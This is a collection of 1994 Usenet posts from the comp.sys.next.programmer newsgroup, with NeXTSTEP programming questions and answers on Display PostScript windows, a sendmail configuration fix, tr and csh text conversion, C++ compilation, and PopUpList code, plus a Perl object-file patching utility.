Newsgroups: comp.sys.next.programmer From: guenther@tms-gmbh.de (Guenther Fuerthaller) Subject: Re: DPS operators Message-ID: <CMF1u9.1Jx@tms-gmbh.de> Sender: usenet@tms-gmbh.de Organization: tms GmbH, Regensburg, Germany References: <2ljd6d$31m@news.u.washington.edu> Date: Wed, 9 Mar 1994 21:18:08 GMT I have tested the following in a small test application and it worked. Just connect the two action methods with two buttons. As you will see in the code, the important thing is to distinguish between windownumbers and userobjects. Functions like PSwindow or PSfrontwindow cannot return userobjects they return windownumbers. On the other hand, functions like PSwindowdeviceround PSorderwindow are written to expect userobjects, so you first have to define userobjects. You could off course define your own wrap say MyPSorderwindow to take windownumbers: defineps MyPSorderwindow(int place,otherwindow,window) place otherwindow window orderwindow endps Working with wraps like this you could avoid defining any userobject in the code below. Using DPSPrintf is a fine thing just to test a piece of Postscript code i often use it, but when you want things to get fast you must write your wraps. When you ever read the output from pswrap you might understand why. All of the Postscript commands are coded into binary tokens and those tokens are stored as a static data structure. The window server receives this binary token sequence with memory mapping mode copy on write, but he never writes. Thus the whole sequence will never be copied but interpreted directly out of the static data structure in your application. However, there are several things pswrap can't translate: - The level2 dictionary operators << and >>. - imediately evaluated names: /myProc {//myDict begin ...} def doesn't work. Tell me more about what you intend, perhaps i can help you further. Why do you want to access windows at such a low level? Excuse my bad English, hope you understand me at least. Guenther #import "MyObject.h" @implementation MyObject - init { [super init]; myWindowUserobject = -1; return self; } - makeWin:sender { if(myWindowUserobject < 0) { int myWin,frontWin,frontWinUserobject; PSgsave(); PSwindow(100,100,100,100,NX_NONRETAINED,&myWin); PSsendint(myWin); myWindowUserobject = DPSDefineUserObject(0); PSwindowdeviceround(myWindowUserobject); PSfrontwindow(&frontWin); PSsendint(frontWin); frontWinUserobject = DPSDefineUserObject(0); PSorderwindow(NX_ABOVE,frontWinUserobject,myWindowUserobje ct); PSsetrgbcolor(1,0,0); PSnewpath(); PSarc(50,50,50,0,360); PSfill(); DPSUndefineUserObject(frontWinUserobject); PSgrestore(); } return self; } - freeWin:sender { if(myWindowUserobject > 0) { PStermwindow(myWindowUserobject); DPSUndefineUserObject(myWindowUserobject); myWindowUserobject = -1; } return self; } @end In article <2ljd6d$31m@news.u.washington.edu> absinthe@viva.chem.washington.edu (Daniel Faken) writes: > Has anyone had problems with the DPS window operators? > DPSwindow works OK, but DPSwindowdeviceround, DPSorderwindow, & friends > all give "rangecheck" errors when I pass them the window number. > I tried putting the window through DPSDefineUserObject first, but that > only gave more errors. > > I am now using DPSPrintf instead - Is there a performance difference? > Do the DPS operators simply write strings to the window server? > > (I would much prefer using DPSPrintf if there is no performance loss) > > thanks for any help. > -- > Daniel Faken | Name a poison, > absinthe@u.washington.edu | pick your flavour.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: sendmail.8.6.5 Date: 10 Mar 1994 08:30:46 -0000 Organization: me organised, that's a joke. Message-ID: <2lmlrm$vv@steffi.demon.co.uk> References: <2llma1$k1f@news.bu.edu> golden@weyl.bu.edu (Mitchell Golden) wrote in comp.sys.next.programmer > > >I heard that there was a cert advisory about the old version of sendmail >(the default one that NeXT is using, so I downloaded the latest Berkeley >version: sendmail.8.6.5. My quesion is this: has anyone gotten it to run >completely correctly on the NeXT? When my machine reboots I get the >following message: > >Mar 9 18:16:28 mname sendmail[108]: NOQUEUE: SYSERR: service "smtp" unknown > >Anyone have any ideas? Do I have a wrong sendmail.cf file? > >Replies to golden@physics.harvard.edu please. Thanks. That problem is documented in the Notes: You need to add O25 (or something like that) to your sendmail.cf file. The NeXT Patch available from ftp.next.com addresses the CERT advisory. -- "You know what's wrong with you?" (Audrey Hepburn, Cary Grant) "No, what?" "Nothing" (Charade, 1963) (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: cowboy@omega.csuohio.edu (Joe Rosenfeld) Subject: Compiling ncurses on NX 3.2 Message-ID: <1994Mar10.111848.402@news.csuohio.edu> Sender: news@news.csuohio.edu (USENET News System) Organization: Cleveland State University Date: Thu, 10 Mar 1994 11:18:48 GMT Can anyone provide information so that the ncurses package will compile on NX 3.2, please. I would really like to successfully compile and install the ncurses package. TIA, Joe -- | Joe Rosenfeld j.rosenfeld@csuohio.edu | Automation Librarian (216) 687-6881 [FAX] | CSU Law Library trans.csuohio.edu [ANON FTP] | NeXTMail and MIME ok
From: michael@cogito.iaee.tuwien.ac.at (Suessner Michael) Newsgroups: comp.sys.next.programmer Subject: Executing remote commands! Date: 10 Mar 1994 13:22:18 GMT Organization: Technical University Vienna, Austria Message-ID: <2ln6ua$c53@email.tuwien.ac.at> I am trying to execute remote commands like rsh with the UNIX system function system(). When I start the application with the GDB, I always get the following error: sh: privileges disabled because of outstanding IPC access to task When I start the application without GDB, the execution of the remote command works fine. What will I have to set in the Debugger, so that I can run the application under the debugger? Any suggestions Michael S.
Newsgroups: comp.sys.next.programmer From: flight@mathi.uni-heidelberg.de (Gregor Hoffleit) Subject: Emacs Info file for NeXT gdb ? Message-ID: <1994Mar10.161558.20900@sun0.urz.uni-heidelberg.de> Sender: news@sun0.urz.uni-heidelberg.de (NetNews) Organization: University of Heidelberg, Germany Date: Thu, 10 Mar 94 16:15:58 GMT Which info file resembles the best the NeXT-patches version of gdb ? Should I use the info for for 4.7, for 4.12 (the newest one ?) or is there a version that incorporates NeXT's changes to gdb ? Gregor -- | Gregor Hoffleit admin MATHInet / contact HeidelNeXT | | MAIL: Mathematisches Institut PHONE: (49)6221 56-5771 | | INF 288, 69120 Heidelberg / Germany FAX: 56-3812 | | EMAIL: flight@mathi.uni-heidelberg.de (NeXTmail) |
Newsgroups: comp.sys.next.programmer From: rnelson@ford.is.rpslmc.edu (Randy Nelson) Subject: vt emulation with API Message-ID: <1994Mar10.161753.12499@rpslmc.edu> Sender: news@rpslmc.edu Organization: Rush-Presbyterian-St. Luke's Medical Center Date: Thu, 10 Mar 1994 16:17:53 GMT I am looking for a vt100 or 220 emulator package which has an API. I am writing an app which will automatically log a user into a multiple systems and control the running windows. Any suggestions? -Randy Nelson
From: cwirawan@caph.cslab.tuwien.ac.at (Cahya Wirawan) Newsgroups: comp.sys.next.programmer Subject: 3DKit Book? Date: 10 Mar 1994 16:30:26 GMT Organization: Technical University Vienna, Austria Message-ID: <2lnhv2$jgq@email.tuwien.ac.at> Hello! Does anybody know some good book dealing with 3DKit? danke, cahya
From: Tim Pugh <tpugh@oce.orst.edu> Newsgroups: comp.sys.next.programmer Subject: Re: System V Shared Memory Date: 10 Mar 1994 17:19:13 GMT Organization: University Computing Services - Oregon State University Distribution: world Message-ID: <2lnkqh$gne@gaia.ucs.orst.edu> References: <2lkkao$2bk@email.tuwien.ac.at> In article <2lkkao$2bk@email.tuwien.ac.at> ah@fml.tuwien.ac.at (Andreas Haleger) writes: > > Hi, > I am not sure, but remember that somebody has written emulation code for > the System V shared memory calls. I browsed through the next ftp sites > without success. Has anybody clues here? > Here is a repost of an announcement concerning System V Shared Memory and POSTGRES v4.1. - Tim - ============================================================== From: gerben@rna.indiv.nluug.nl (Gerben Wierda) Newsgroups: comp.sys.next.announce Subject: PRESS RELEASE: R&A ships POSTGRES 4.1 for NEXTSTEP Message-ID: <27ago7$of6@digifix.digifix.com> Date: 16 Sep 93 12:02:17 GMT Sender: sanguish@digifix.com Reply-To: gerben@rna.indiv.nluug.nl Organization: Next Announcements Lines: 58 R&A SHIPS University POSTGRES v4.1 R&A has ported the University POSTGRES database system (a fully object-oriented database from the group that spawned INGRES) to NEXTSTEP 3.x. POSTGRES is a research effort into the realm of future database systems. It has time-travel, abstract data types (objects!) and so on. The POSTGRES sources are available from the university of California at Berkeley for free. But porting is not trivial and has taken quite some time. This has to do with dependencies in the POSTGRES code on several both interface and implementation of the native OS it runs on. We share our code changes with the POSTGRES group at Berkeley so with future releases of POSTGRES and future releases of NEXTSTEP porting will become less an issue. People that want it now, can either port themselves, or buy our package. POSTGRES is not a stable, commercial environment (even if it is used as such here and there) but its key aspects make it popular in research and other advanced environments. We sell binary installer packages for POSTGRES on NEXTSTEP 3.x for both i386 and m68k architecture. The price is low (since we sell only the porting effort and not POSTGRES itself): $175 1 CPU 1 architecture $275 >1 CPU 1 architecture (site license) We have ported everything of the 4.1 release, including the dynamic loader. POSTGRES comes on a set of two floppies, one with the postgres programs, initial data and one with the documentation and the library. The library is MAB, so you can compile on another architecture and connect to the server on your architecture of choice. MAB on request (we do not offer MAB standard because of the limitations in NEXTSTEP installer packages with respect to multiple floppies). For sites that need source control: we offer source licenses for our System V shared memory and semaphore software. For more information you can mail to gerben@rna.indiv.nluug.nl or call/fax to +31 70 3230851. Due to ongoing reconstruction activities, this fax is operational on weekdays only from 9.00 CDT until 21.00 CDT. That is approximately from 3:00 EDT until 15:00 EDT and 0:00 PDT until 12:00 PDT. You can also write to: R&A Goudreinetstraat 582 2564 PX Den Haag The Netherlands We prefer e-mail. NeXTmail welcome. R&A is a small firm specialized in quality software design and implementation and consultancy. We are specialized in OO, Unix and NEXTSTEP. All trademarks belong to their owners.
From: Charles William Swiger <infidel+@CMU.EDU> Newsgroups: comp.sys.next.programmer Subject: Re: sendmail.8.6.5 Date: Thu, 10 Mar 1994 13:07:39 -0500 Organization: Carnegie Mellon, Pittsburgh, PA Message-ID: <shTq7fu00iV6460UUk@andrew.cmu.edu> In-Reply-To: <2llma1$k1f@news.bu.edu> Excerpts from netnews.comp.sys.next.programmer: 9-Mar-94 sendmail.8.6.5 by Mitchell Golden@weyl.bu. > I heard that there was a cert advisory about the old version of sendmail > (the default one that NeXT is using, so I downloaded the latest Berkeley > version: sendmail.8.6.5. My quesion is this: has anyone gotten it to run > completely correctly on the NeXT? When my machine reboots I get the > following message: > > Mar 9 18:16:28 mname sendmail[108]: NOQUEUE: SYSERR: service "smtp" > unknown > > Anyone have any ideas? Do I have a wrong sendmail.cf file? Put these lines in sendmail.cf: # SMTP daemon options OOPort=25 This compensates for a bug in one of NeXT's library files that incorrectly looks up the port number from the service name for sendmail. This is noted in the documentation included with the source, BTW. -Chuck Charles William Swiger - WhiteLight Systems | "All the world's a stage, and" --------------------------------------------+ "we are merely players...." AMS & normal mail: infidel@cmu.edu | NeXTmail: chuck@cswiger.slip.andrew.cmu.edu | "Semper ubi sub ubi."
Newsgroups: comp.sys.next.programmer From: dylan@Angst.COM (Dylan Kohler) Subject: Re: "Grab"-like rectangle dragging Message-ID: <1994Mar10.181418.22234@Angst.COM> Sender: dylan@Angst.COM Organization: Angst Animation Post Production References: <2ll6d7$d7j@wave.aoml.erl.gov> Date: Thu, 10 Mar 1994 18:14:18 GMT In article <2ll6d7$d7j@wave.aoml.erl.gov> bakker@cyclon.aoml.erl.gov (Cary Bakker) writes: > > I'd like to do something like Grab.app does: have the user define a > > rectangle on the screen by dragging. I've figured out how to display the > > rectangle as it is dragged, by using four skinny black windows, but I > > can't figure out how to catch the mouse-down and mouse-dragged events for > > anyplace on-screen. The only way I can capture these events right now is > > if they occur in one of my application's windows. > > Hmm, this is interesting. > Let's see. Grab.app will not start tracking the rect until a menu item is > selected (i.e. greb selection, or whatever it is). That's what you should > do. Have the user press a button, menu item or whatever, and have that cause > the program to start catching the events. Namely, you would need to catch > the mouseMoved events and the mouseDown events.... > Now as the user moves the mouse you can get the event info and display the > screen position or whatever... > When you run across a mouseDown event, then you can display the window box, > or whatever... Thanks for the response. The part of catching the events is where I have the trouble. I don't know how to catch any mouseDown events that occur outside of my application's windows... I've tried Application's getNextEvent: and the lower-level NXGetOrPeekEvent. I think I even tried DPSGetEvent(). There must be something even more lower-level, but I don't know it... Scott Anguish has endorsed my strategy of "putting an invisible window all over the screen and trapping events there". Unfortunately, I threw out "WhatADrag" with 2.1; can anyone send me a copy or remind me how to create such a window? -- ___________________________________ Dylan Kohler Angst Animation Post Production dylan@angst.com (NeXTmail welcome)
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin From: wfischer@bio.indiana.edu (Will Fischer) Subject: Re: sed and tar help needed Message-ID: <CMGoqA.5An@usenet.ucs.indiana.edu> Followup-To: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Biology, Indiana University - Bloomington References: <1994Mar9.173302.604@dbulm1.uucp> Date: Thu, 10 Mar 1994 18:30:09 GMT I believe you want to use 'tr' (translate?) instead of sed. Standard unix utility, reads only stdin, writes stdout. yourPrompt% tr '\374' '\366' < _infile_ > _outfile_ quotes, backslashes, and <>s all significant -- Will Fischer wfischer@indiana.edu Jochen Gloger (gloger@dbulm1.uucp) wrote: : Hi, : I have two problems concerning pure UNIX. : 1. How can I force the substitute command in sed to look for an : extended-ASCII-character described as a three digit octal number? For example, : the German city name Luebeck (here written without the umlauts) is written in : DEC-multinational character code as : L\374beck (emacs writing style) : I want to transform this word into NeXT-keymapping, namely : L\366beck. (emacs writing style) : Since I have to this with a lot of files, I can't use Edit or Emacs with the : tr command, but I was not very successful to persuade sed to do this task. The : following sed command did not work: : s/\374/\366/ : So, what can I do? [ other inquiry on 'find' deleted ] : Thanks in advance for any help : Kind regards Mutual, I'm sure. -- wf : Jochen Gloger
Newsgroups: comp.sys.next.programmer From: fell@binah.cc.brandeis.edu Subject: c++ compiler with 3.0? or 3.2? Message-ID: <1994Mar10.185528.16560@news.cs.brandeis.edu> Sender: news@news.cs.brandeis.edu (USENET News System) Organization: Brandeis University Date: Thu, 10 Mar 1994 18:55:28 GMT A simple question. Is there a c++ compiler with either 3.0 or 3.2? And if so how with what command does one access it. Thanks for the help.
Newsgroups: comp.sys.next.misc,comp.sys.next.programmer From: wfischer@bio.indiana.edu (Will Fischer) Subject: Re: sed and tar help needed Message-ID: <CMGtu0.Fqr@usenet.ucs.indiana.edu> Sender: news@usenet.ucs.indiana.edu (USENET News System) Organization: Biology, Indiana University - Bloomington References: <CMGoqA.5An@usenet.ucs.indiana.edu> Date: Thu, 10 Mar 1994 20:20:24 GMT I (wfischer@bio.indiana.edu) wrote: : I believe you want to use 'tr' (translate?) instead of sed. [ cut ] For multiple files, use a foreach loop (csh or tcsh): yourPrompt% foreach file ( _list_of_files_ ) ? tr '\374' '\366' < $file > $file.good ? end replace _list_of_files_ with individual file names, *wildcards, whatever. Hope I'm not insulting your intelligence :-) : -- Will Fischer : wfischer@indiana.edu : Jochen Gloger (gloger@dbulm1.uucp) wrote: : : Hi, : : I have two problems concerning pure UNIX. : : 1. How can I force the substitute command in sed to look for an : : extended-ASCII-character described as a three digit octal number? For example, : : the German city name Luebeck (here written without the umlauts) is written in : : DEC-multinational character code as : : L\374beck (emacs writing style) : : I want to transform this word into NeXT-keymapping, namely : : L\366beck. (emacs writing style) : : Since I have to this with a lot of files, I can't use Edit or Emacs with the : : tr command, but I was not very successful to persuade sed to do this task. The : : following sed command did not work: : : s/\374/\366/ : : So, what can I do? : [ other inquiry on 'find' deleted ] : : Thanks in advance for any help : : Kind regards : Mutual, I'm sure. : -- wf : : Jochen Gloger -- ________________________________________________________________________ \\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/\\/ Will Fischer In the old time the facts of Nature were beautiful in themselves and Gradual Student needed not the rouge of speculation Department of Biology to quicken their charm, but that was Indiana University long ago, before modern science Bloomington, Indiana 47401 USA was born. wfischer@indiana.edu -- William Bateson, 1893
Newsgroups: comp.sys.next.programmer From: jerald@mrk.com (Jerald Dawson) Subject: Using the appkit in a daemon Message-ID: <1994Mar10.203339.1328@mrk.com> Sender: jerald@mrk.com Distribution: usa Date: Thu, 10 Mar 1994 20:33:39 GMT Hi there all, I have a small question. I have an app that has no interface except for a menu that allows you to quit. Its job is to read information (quotes) from the serial port and store them in a IXKit database and then notify client apps that quotes have arrived through DO. It runs it's connections with the runFromAppkit method. My question is, can I totally take all the UI code out of this program and make it a Tool so it could be run before anyone logs in even though I use the Appkit in it? Or do I have to create my own event loop in this kind of program. I basicly want to run the program all the time. Even allow people to log in and out of the machine while it runs. Hope someone can shed some light on this for me. -- jerald dawson*Systems Manager / Head Programmer*Investor's Advantage NeXTmail-jerald@mrk.com |"To compel a man to furnish contributions of phone - (708) 487-3221|money for the propogation of opinions which he fax - (708) 526-3635|disbelieves is sinful and tyranical" Thomas Jefferson
Newsgroups: comp.sys.next.programmer From: al@rbc.uucp (Al Davis) Subject: Re: Using -DINLINE_MATH on m68040 NeXT Message-ID: <1994Mar10.165853.10575@rbc.uucp> Sender: al@rbc.uucp (Al Davis) Organization: Huh? References: <2llpni$k6j@hermes.unt.edu> Date: Thu, 10 Mar 1994 16:58:53 GMT Douglas A. Scott writes > Could someone tell me if the INLINE_MATH versions of the math functions in > ansi/m68k/math.h will produce faster code on a 68040 machine? I have been > told that they may only be of use on 030 machines with the floating point > chip -- is this still the case, or do the asm calls actually get used on the > 040? .......... I just tried it. It is a little faster, maybe 10% on my benchmark. Try it. Just take one of your slow programs and re-compile with "-DINLINE_MATH", and measure. Thanks for the hint. I will use it. al.
Newsgroups: comp.sys.next.programmer,comp.sys.next.bugs From: barry@ictv.com (Barry Lustig) Subject: Re: WorkSpace Manager failure on large NFS mounted filesystems Message-ID: <1994Mar10.213107.1149@ictv.com> Keywords: NFS Fileservers mounts Workspace Sender: Barry Lustig <barry@nacm.com> Organization: Nicholas-Applegate Capital Mgmt., San Diego, CA, 619 687-8000 References: <1994Mar9.181536.18065@ictv.com> Date: Thu, 10 Mar 1994 21:31:07 GMT Please note that the patch I posted is against the 3.2 version of FileMover.tool. It is very unlikely that it will work again any other version. Barry Lustig P.S. objpatch was written by Louie Mamakos. Here is a copy. CUT HERE --------------------------------------------- #!/usr/bin/perl $objfile = shift(@ARGV); @PATCHES = (); while ($objfile =~ /^-/) { if ($objfile =~ s/^-(B|b)//) { $objfile = shift(@ARGV) unless $objfile ne ''; push(@PATCHES, 1, $objfile); } elsif ($objfile =~ s/^-(w|W)//) { $objfile = shift(@ARGV) unless $objfile ne ''; push(@PATCHES, 2, $objfile); } elsif ($objfile =~ s/^-(L|l)//) { $objfile = shift(@ARGV) unless $objfile ne ''; push(@PATCHES, 4, $objfile); } elsif ($objfile =~ /^-n/) { $nflag = 1; } elsif ($objfile =~ /-v/) { $vflag = 1; } $objfile = shift(@ARGV); } open(OTOOL, "/bin/otool -l $objfile|") || die "otool: $!"; while(<OTOOL>) { chop; next unless /^Section$/; $_ = <OTOOL>; chop; die "1" unless /^ sectname (.*)$/; $sectname = $1; $_ = <OTOOL>; chop; die "2" unless /^\s*segname (.*)$/; $segname = $1; $_ = <OTOOL>; chop; die "3" unless /^\s*addr 0x(.*)$/; $addr = hex($1); $_ = <OTOOL>; chop; die "4" unless /^\s*size 0x(.*)$/; $size = hex($1); $_ = <OTOOL>; chop; die "5" unless /^\s*offset (.*)$/; $offset = $1; next unless $size > 0 && $offset > 0; $info = sprintf("%08x %08d %08d $segname $sectname\n", $addr, $size, $offset); push(@segs, $info); } close(OTOOL); @segs = sort @segs; print "Address Length File Offset\n" if $vflag; print @segs if $vflag; open(FILE, "+<$objfile") || die "open '$objfile': $!"; while ($_ = shift) { $addr = $_; if ($addr =~ s/^0(x)*//) { $addr = hex($addr); } $fileoff = &getoffset($addr); @P = @PATCHES; while ($patlen = shift(@P)) { $patvalue = shift(@P); ($patvalue =~ m/^no+p$/) && ($patvalue = "0x4e71"); ($patvalue =~ m/^moveq_#0,d0$/) && ($patvalue = "0x7000"); if ($patvalue =~ s/^0(x)*//) { $patvalue = hex($patvalue); } $old = &getnbytes($fileoff, $patlen); printf "Writing $patlen bytes of 0x%x (was 0x%x) to 0x%x (file offset %d)\n", $patvalue, $old, $addr, $fileoff; $nflag || &putnbytes($fileoff, $patvalue, $patlen); $fileoff += $patlen; } } sub getoffset { local($value) = @_[0]; local($realvalue) = $value; local($addr, $size, $offset, $segname, $sectname, $off, $fileoff); if ($value =~ s/^0(x)*//) { $value = hex($value); } foreach $seg (@segs) { ($addr, $size, $offset, $segname, $sectname)=split(/\s+/,$seg); $addr = hex($addr); if ($value >= $addr && $value < ($addr + $size)) { $off = $value - $addr; $fileoff = $off + $offset; #print "Address is at offset $off, at file address $fileoff\n"; return ($fileoff); } } die "Address $realvalue is not in any segment of file\n"; } sub putnbytes { local($txtaddr) = @_[0]; local($value) = @_[1]; local($length) = @_[2]; local($offset); $word = 0; vec($word, 0, 8*$length) = $value; seek(FILE, $txtaddr, 0) || die "seek $!"; syswrite(FILE, $word, $length) || die "read $!"; return $value; } sub getnbytes { local($txtaddr) = @_[0]; local($word) = 0; local($length) = @_[1]; seek(FILE, $txtaddr, 0) || die "seek $!"; read(FILE, $word, $length) || die "read $!"; $value = vec($word, 0, 8*$length); return $value; } --
From: mwa@ife.ee.ethz.ch (Marcel Waldvogel) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.software,comp.sys.next.programmer,comp.sys.next.misc Subject: Re: NS 3.2/I and putenv() Date: 10 Mar 1994 22:44:02 GMT Organization: Institut fuer Elektronik, ETH Zuerich, Switzerland Message-ID: <2lo7ri$fup@elna.ethz.ch> References: <2kvube$pgg@marble.Britain.EU.net> <S.A.MCINTYRE.94Mar2115138@shrug.dur.ac.uk> In article <S.A.MCINTYRE.94Mar2115138@shrug.dur.ac.uk>, Scott A. McIntyre <S.A.McIntyre@durham.ac.uk> wrote: >strdup() This one you can easily get around by adding "-Dstrdup=NXCopyStringBuffer" to the CFLAGS definition in the Makefile. -Marcel
From: "Thomas G. Mon" <tm31+@andrew.cmu.edu> Newsgroups: comp.sys.next.programmer Subject: Re: PopUpLists Date: Thu, 10 Mar 1994 18:09:12 -0500 Organization: Senior, Math/Computer Science, Carnegie Mellon, Pittsburgh, PA Message-ID: <MhTuWM_00iUyE_BV0W@andrew.cmu.edu> Here is an answer to the question about PopUpLists, hope it answers the questions. I have it compressed, if you don't want to copy/paste and mess around with IB/PB, just send me a message and I will NeXTmail it to you: In interface builder there are the following objects: Controller (delegate of File's Owner) thePopList - a simple PopUpList with n+1 items theSlider - a Slider that goes from 0 to n theFormCell - a FormCell that takes integers from the slider a button - to execute the change in the PopUpList, you can either make a button do this or just have it so when you hit return from the Form Cell (you can get rid of the slider that way, I have no idea why I put a slider there). Connections: File's Owner -> Controller [delegate] Slider -> FormCell [takeIntValue] button -> Controller [changeSomething] Controller -> PopUpList, Slider, FormCell. Controller.h ------------------------------------------------------ #import <appkit/appkit.h> @interface Controller:Object { id theFormCell; id theRealPopList; id thePopList; id theSlider; } - appDidInit:sender; - changeSomething:sender; @end Controller.h ------------------------------------------------------ Controller.m ------------------------------------------------------ #import "Controller.h" #import <appkit/Menu.h> #import <appkit/Matrix.h> #import <appkit/FormCell.h> #import <appkit/PopUpList.h> #import <appkit/Application.h> // Set Controller to be the delegate of File's Owner @implementation Controller - appDidInit:sender { // We need access to the "PopUpList" itself, so we have to reset // the theRealPopList outlet at run-time. if(![theRealPopList isKindOf:[PopUpList class]]) theRealPopList = [thePopList target]; return self; } - changeSomething:sender { id matrix; // access the matrix, and change the selected cell. matrix = [theRealPopList itemList]; [matrix selectCellWithTag:[theFormCell intValue]]; // trigger button really isn't a part, so we have to // manually change the title. [thePopList setTitle:[[matrix selectedCell] title]]; return self; } @end Controller.m ------------------------------------------------------
From: hsr@cs.Stanford.EDU (Scott Roy) Newsgroups: comp.sys.next.programmer Subject: Re: Using -DINLINE_MATH on m68040 NeXT Date: 11 Mar 1994 00:51:37 GMT Organization: Stanford University: Computer Science Department Distribution: world Message-ID: <2lofap$s4a@Times.Stanford.EDU> References: <1994Mar10.165853.10575@rbc.uucp> Al Davis writes | | I just tried it. It is a little faster, maybe 10% on my benchmark. | Try it. Just take one of your slow programs and re-compile with | "-DINLINE_MATH", and measure. | Be careful not to use -DINLINE_MATH if you're using libFPSP.a to improve transcendental performance, since the compiler seems to revert to the libm.a routines if you do. --- Scott Roy Department of Computer Science Stanford University
Newsgroups: comp.sys.next.programmer From: cuilla@il.us.swissbank.com (Chris Cuilla) Subject: Re: tags of NXBrowserCells Message-ID: <1994Mar10.145154.28164@il.us.swissbank.com> Sender: root@il.us.swissbank.com (Operator) Organization: Swiss Bank Corporation CM&T Division References: <2lgg1d$1hp@steffi.demon.co.uk> Date: Thu, 10 Mar 1994 14:51:54 GMT Does anyone have an idea about why NeXT decided NOT to implement: - setTag: (int) theTag; - (int) tag; in the Cell class? It seems this is real no-brainer. I guess if everyone was going to frequently re-implement the behaviour of these methods, I'd understand it. This seems unlikely. Instead, since they also failed to implement it in NXBrowserCell (one place it would be most useful, even if they didn't do it in Cell), I need to have this subclass laying around for just one reason. Yuuuucckk! Seems pretty goofy to me. Am I the only one? -- Chris Cuilla --------------------------------------------------------------------- NEXTSTEP Developer chris@its.com --------------------------------------------------------------------- Any statements, opinions, or advice offered are strictly the opinions, statements and advice above the above signed not those of my employers, supervisors or clients. Including, but not limited to Swiss Bank Corporation, SBC, O'Connor & Associates, ITS, ITSolutions, Information Technology Solutions. ---------------------------------------------------------------------
From: lachance@scheme.cs.ubc.ca (Daniel LaChance) Newsgroups: comp.sys.next.programmer Subject: Re: c++ compiler with 3.0? or 3.2? Date: 11 Mar 1994 02:36:28 GMT Organization: The University of British Columbia Distribution: world Message-ID: <2lolfc$83c@nntp.ucs.ubc.ca> References: <1994Mar10.185528.16560@news.cs.brandeis.edu> In article <1994Mar10.185528.16560@news.cs.brandeis.edu> fell@binah.cc.brandeis.edu writes: > A simple question. Is there a c++ compiler with either 3.0 or 3.2? And > if so how with what command does one access it. Thanks for the help. Yes! Example A simple test program would be: #include <stream.h> main() { cout << "Hello World!\n"; } Compile this program with the following command: cc++ test.cc -o tst -lg++ Running tst would output: Hello World! -- Daniel LaChance Undergraduate, Department of Computer Science, University of British Columbia, Vancouver, Canada NeXTmail accepted?: YES!
Newsgroups: comp.sys.next.programmer From: tom@basil.icce.rug.nl (Tom R.Hageman) Subject: Re: same text object in multiple windows? Message-ID: <CMGt65.pv@basil.icce.rug.nl> Sender: tom@basil.icce.rug.nl (Tom R.Hageman) Organization: Lofty Waters References: <2ljh0kINN4vn@no-names.nerdc.ufl.edu> Date: Thu, 10 Mar 1994 20:06:03 GMT In article <2ljh0kINN4vn@no-names.nerdc.ufl.edu> pgriffin@phys.ufl.edu (Paul A. Griffin) writes: > Does anyone know if there is a way of displaying the same text (object) > in multiple windows? > > For example, emacs lets you split its > screen into multiple views of the same buffer. > > I would like to view a buffer in multiple windows. Is there a way of > implementing this via the application kit? You could try to use two scrollViews, and set their docView (programmatically) to point to the same Text (or whatever) object. Mind you, this is just a thought. I didn't try it out. -- __/__/__/__/ Tom Hageman (tom@basil.icce.rug.nl) [NeXTMail accepted] __/ __/_/ __/__/__/ "...to baldly go where no one has gone before." __/ _/_/ -- star trek TNG
From: absinthe@viva.chem.washington.edu (Daniel Faken) Newsgroups: comp.sys.next.programmer Subject: /usr/lib/NextStep/windowPackage.ps Date: 11 Mar 1994 05:37:25 GMT Organization: University of Washington Message-ID: <2lp02l$4v8@news.u.washington.edu> Keywords: NeXTstep Could someone please send or post an unstripped version? I.e. one with comments & code structure intact. It wasn't stripped in NS version 2, and the other .ps files in that directory are not similarly cleansed, so I can only assume that they are trying to hide something because it is useful. thanks, -- Daniel Faken | Name a poison, absinthe@u.washington.edu | pick your flavour.
From: eps@futon.SFSU.EDU (Eric P. Scott) Newsgroups: comp.sys.next.programmer Subject: Re: tags of NXBrowserCells Date: 11 Mar 1994 06:48:13 GMT Organization: San Francisco State University Message-ID: <2lp47d$rn5@nic-nac.CSU.net> References: <2lgg1d$1hp@steffi.demon.co.uk> <1994Mar10.145154.28164@il.us.swissbank.com> In article <1994Mar10.145154.28164@il.us.swissbank.com> chris@its.com (Chris Cuilla) writes: >Does anyone have an idea about why NeXT decided NOT to implement: > > - setTag: (int) theTag; > - (int) tag; > >in the Cell class? They did--just not in a "useful" fashion. Cell doesn't have a tag instance variable. (Or did you really mean ActionCell?) > since they also failed to implement it in >NXBrowserCell (one place it would be most useful, even if they didn't do >it in Cell), I need to have this subclass laying around for just one >reason. Yuuuucckk! Yuck what? Since NXBrowserCells are something an application might use a LOT of, it helps for them to be as lightweight as possible. Even a four-byte savings can make a big difference. This isn't a big issue with FormCell/SliderCell/TextFieldCell because they tend to be used so sparsely, and for ButtonCell the tag is pretty much indispensible when you have more than a handful. The point is that you *can* subclass to add a tag (or whatever), without imposing a space/performance penalty on applications that don't need it. >Seems pretty goofy to me. Am I the only one? Yeah, probably. :-) -=EPS=-
Newsgroups: comp.sys.next.programmer From: anderson (Ken Anderson) Subject: Re: System V Shared Memory Message-ID: <1994Mar10.155728.26407@biztech.com> Sender: news@biztech.com Organization: Biztech, Inc. References: <2lkkao$2bk@email.tuwien.ac.at> Date: Thu, 10 Mar 1994 15:57:28 GMT In article <2lkkao$2bk@email.tuwien.ac.at> ah@fml.tuwien.ac.at (Andreas Haleger) writes: > >Hi, >I am not sure, but remember that somebody has written emulation code for >the System V shared memory calls. I browsed through the next ftp sites >without success. Has anybody clues here? > >-- > >== Andreas == >Wir entschuldigen uns fuer die Strapazen (Douglas Adams). NeXTmail >accepted. A company called R&A based in the Netherlands sells a SysV shared memory product at very reasonable prices. You can reach them at: gerben@rna.indiv.nluug.nl Ken Anderson anderson@biztech.com Stamford, CT
